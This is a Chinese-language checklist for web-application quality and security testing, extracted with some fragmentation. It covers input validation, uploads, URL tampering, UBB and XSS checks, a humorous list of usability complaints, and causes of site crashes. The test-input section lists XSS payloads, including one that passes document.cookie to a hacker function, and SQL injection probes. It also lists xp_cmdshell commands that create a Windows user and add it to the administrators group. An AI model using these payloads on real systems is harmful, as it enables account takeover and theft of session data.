1、建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL 注入、身份验证和授权错误.1. 输入验证客户端验证 服务器端验证(禁用脚本调试,禁用 Cookies)1.输入很大的数(如 4,294,967,269) ,输入很小的数(负数)2.输入超长字符,如对输入文字长度有限制, 则尝试超过限制, 刚好到达限制字数时有何反应3.输入特殊字符,如:!#$% 要求输入字母则检查输入数字8.输入 html 和 javascript 代码9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化例如:1.输入 ”gfhd,看是否出错;2.输入
2、,看是否出现文本框;3.输入 alert(“提示” )看是否出现提示。关于上传:1.上传文件是否有格式限制,是否可以上传 exe 文件;2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传 0K 的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。7.对于文件名
3、中带有中文字符,特殊字符等的文件上传。下载:1. 避免输入:.web.2. 修改命名后缀。关于 URL:1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母 ,或很大的数字,或输入特殊字符等)后打开网址是否出错, 是否可以非法进入某些页面;3.搜索页面等 url 中含有关键字的,输入 html 代码或 JavaScript 看是否在页面中显示或执行。4.输入善意字符。UBB:url=http:/www.*.com 你的网站/url1.试着用各种方式输入 UBB 代码,比如代码不完整, 代码嵌套等等 .2.在
4、UBB 代码中加入属性 ,如样式, 事件等属性,看是否起作用3.输入编辑器中不存在的 UBB 代码,看是否起作用url=javascript:alert(hello)链接/urlemail=javascript:alert(hello)EMail/emailemail= STYLE=“background-image: url(javascript:alert(XSS)“ style=“background-image:url(javascript:alert(alert(xss)“/imgimghttp:/ “onmouseover=alert(hello);“/imgb STYLE=“ba
5、ckground-image: url(javascript:alert(XSS)“一首诗酸涩涩服务网/bi STYLE=“background-image: url(javascript:alert(XSS)“一二三四五六七北京市/iu一二三四五六七北京市/ufont=微软雅黑“ STYLE=“background-image: url(javascript:alert(XSS)“一二三四五六七北京市/fontsize=4“ STYLE=“background-image: url(javascript:alert(XSS)“一二三四五六七北京市/sizecolor=Red“ STYLE=“
6、background-image: url(javascript:alert(XSS)“一二三四五六七北京市/coloralign=center“ STYLE=“background-image: url(javascript:alert(XSS)“一二三四五六七北京市/alignfloat=left“ STYLE=“background-image: url(javascript:alert(XSS)“一二三四五六七北京市/floatfont=微软雅黑 STYLE=“background-image: url(javascript:alert(XSS)“一二三四五六七北京市/fontsize
7、=4 STYLE=“background-image: url(javascript:alert(XSS)“一二三四五六七北京市/sizecolor=Red STYLE=“background-image: url(javascript:alert(XSS)“一二三四五六七北京市/coloralign=center STYLE=“background-image: url(javascript:alert(XSS)“一二三四五六七北京市/alignlist=1*一二三四五六七北京市/listindent一二三四五六七北京市 /indentfloat=left STYLE=“background
8、-image: url(javascript:alert(XSS)“一二三四五六七北京市/floatmedia=ra,400,300,0http:/ 输出编码常用的测试输入语句有:alert(hello);1.jpg“ onmouseover=“alert(xss)“alert(xss);http:/xxx;alert(xss);var/ a=a”xss And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2and 1=1 ; And 1=1 ; aNd 1=1 ;and 1=
9、2 ; and 1=2and 2=2and user0and (select count(*) from sysobjects)0and (select count(*) from msysobjects)0and (Select Count(*) from Admin)=0and (select top 1 len(username) from Admin)0(username 已知字段);exec master.xp_cmdshell “net user name password /add”;exec master.xp_cmdshell “net localgroup name adm
10、inistrators /add”and 0xssvar from = ”;hackerFunction(document.cookie);”;http:/ 、(大于小于号) 4对输入框输入超过限制的字符的处理,一般非特殊的没有作出限制的在 255byte左右;5输入框本身的大小、长度;6不同内码的字符的输入;7对空格、TAB 字符的处理机制;8字符本身显示的颜色;9密码输入窗口转换成星号或其它符号;10 密码输入框对其中的信息进行加密,防止采用破解星号的方法破解;11 按下 ctrl 和 alt 键对输入框的影响;12 对于新增、修改、注册时用的输入框,有限制的,应该输入时作出提示,指出不允
11、许的或者标出允许的;13 对于有约束条件要求的输入框应当在条件满足时输入框的状态发生相应的改变,比如选了湖南就应该列出湖南下面的市,或者选了某些条件之后,一些输入框会关闭或转为只读状态;14 输入类型;根据前面的栏位标题判断该输入框应该输入哪些内容算是合理的。例如,是否允许输入数字或字母,不允许输入其他字符等。15.输入长度;数据库字段有长度定义,当输入过长时,提交数据是否会出错。16.输入状态;当处于某种状态下,输入框是否处于可写或非可写状态。例如,系统自动给予的编号等栏位作为唯一标识,当再次处于编辑状态下,输入框栏位应处于不可写状态,如果可写对其编辑的话,可能会造成数据重复引起冲突等。17
12、 如果是会进行数据库操作的输入框,还可以考虑输入 SQL 中的一些特殊符号如单引号等,有时会有意想不到的错误出现18 输入类型输入长度是否允许复制粘贴为空的情况空格的考虑半角全角测试对于密码输入框要考虑显示的内容是* 输入错误时的提示信息及提示信息是否准确19 可以先了解你要测试的输入框在软件系统的某个功能中所扮演的角色,然后了解其具体的输入条件,在将输入条件按照有效等价类,无效等价类,边界值等方法进行测试用例的设计。20 关键字有大小写混合的情况;21 关键字中含有一个或多个空格的情况,包括前空格,中间空格(多个关键字) ,和后空格;22 关键字中是否支持通配符的情况(视功能而定) ;23
13、关键字的长度分别为 9、10、11 个字符时的情况;24 关键字是 valid,但是没有匹配搜索结果的情况;25 输入 html 的标签会出现哪些问题?输入 会出现什么问题呢?( 这条是我自己发现的,在网上也没找到类似的东东,呵呵,大家凑合着看吧)安全测试方面:给出一些特别的关键字,比如 or 1=1, 这样的关键字如果不被处理就直接用到数据库查询中去,后果可想而知。用户体验相关我登录失败的时候没有任何提示,这没什么,反正提示也只是说失败进去后发现颜色变更很强烈刺得我一眨眼,不过多看几次就习惯了。点击某个链接的时候出现错误页面,刷新后就好了,难道是随机错误?保存文字的时候没有成功提示,不过能成
14、功保存就算了。浏览记录的时候竟然出现错误页面,原来我没有选记录就浏览了,我自己操作不规范嘛。删除记录的时候发现选错了,想取消的时候却提示删除成功,都没有确认提示,只能下次看仔细点了。查询时字母键被茶杯压住了多输了点字符,竟然出现错误页面,下次把东西整理好。无聊随便点点几个链接,竟然没有反应,既然不用,那就不要做出来嘛。看看自己上传的图片效果如何,这个怎么不显示?多试几次发现名字不包含中文就好了,下次注意下。改改字体字号颜色美化环境嘛,怎么格式那里不显示正确的字体字号呢,将就用吧。这里的记录条数怎么这么多啊?原来是没有删除按钮,看来下次不能随便加了。这个结束时间怎么在开始时间前啊?原来没有进行控
15、制,下面的人执行时还是自己改过来吧。上次我在这里看见的图片呢?刷新后就出来了,怎么和我玩捉迷藏呢?多输了点内容,保存时候提示太多了,点确定后发现被清空了,我一个小时的工作啊!这张图片真不错,但是按钮呢,按钮呢?按钮被挤掉了我怎么编辑啊。听说 F5 是刷新点一下看看。怎么好像变成了登录界面?刚学了怎么用 TAB 键,确实很方便。 TAB 一下。跑哪去了,怎么一片空白啊?玩游戏的人点击速度那么快,我也来试试。怎么一双击就出错了?我找错别字是很厉害的,这不就发现“同意”写成了“统一”。这里提示只能输入 1100 ,我偏要输入 9999保存看看,怎么系统不能用了?这里一点击就出现 IE 错误,硬是不弹
16、出我需要的窗口。这个查询按钮怎么灰掉了?这么多记录让我一页一页翻过去找啊。上传第二个附件的时候怎么把第一个挤掉了啊,会挤掉也要提示一下嘛。一个页面上打开的记录太多了,变体都用省略了,要是鼠标放上去浮动显示完整标题就方便多了。这几条记录有依存关系,删了一条其他就没了,提示都没有,早知道我就用编辑了这条记录怎么好像是昨天的,我记得今天更新了啊?原来编辑后的记录没有传到引用的地方。最最奇怪的是昨天上传时候正常的图片今天就不能显示了。我记得没有只能显示一天的功能啊?这里怎么没有任何按钮呢,看手册才知道竟然要用右键进行操作,怎么突然冒出个异类啊?这里怎么能增加两条相同的记录呢?不控制一下天知道手下那些愣
17、头青会做出什么来。这里的菜单一层一层又一层,足足有五层,把我头都绕晕了我记得哪里说过最好不要超过三层的。这个界面看起来怎么这么别扭啊,是字体太大了,是按钮太小了,还是功能太多了,怎么不是管理员登录进来也能管理啊,那我这个管理员的身份不是多此一举吗?删除的时候提示 Error,幸亏我英语水平好,可是你换成中文不行吗?这条记录不是删除了吗,怎么还能引用啊,到时候出错了怎么办,难道还要我记住删了那些记录?经过精心编辑,我发了一条通知,怎么用普通用户查看的时候是默认的字体字号啊?这几个页面上的当前日期怎么是固定不变的啊,这都是去年的日期了,不会是开发时候的吧。让 Web 站点崩溃最常见的七大原因磁盘已
18、满 导致系统无法正常运行的最可能的原因是磁盘已满。一个好的网络管理员会密切关注磁盘的使用情况,隔一定的时间,就需要将磁盘上的一些负载转存到备份存储介质中(例如磁带) 。日志文件会很快用光所有的磁盘空间。Web 服务器的日志文件、SQL*Net 的日志文件、JDBC 日志文件,以及应用程序服务器日志文件均与内存泄漏有同等的危害。可以采取措施将日志文件保存在与操作系统不同的文件系统中。日志文件系统空间已满时 Web 服务器也会被挂起,但机器自身被挂起的几率已大大减低。C 指针错误用 C 或 C+编写的程序,如 Web 服务器 API 模块,有可能导致系统的崩溃,因为只要间接引用指针(即,访问指向的内存)中出现一个错误,就会导致操作系统终止所有程序。另外,使用了糟糕的 C 指针的 Java 模拟量(analog)将访问一个空的对象引用。Java 中的空引用通常不会导致立刻退出 JVM,但是前提是程序员能够使用异常处理方法恰当地处理错误。在这方面,Java 无需过多的关注,但使用 Java 对可靠性进行额外的度量则会对性能产生一些负面影响。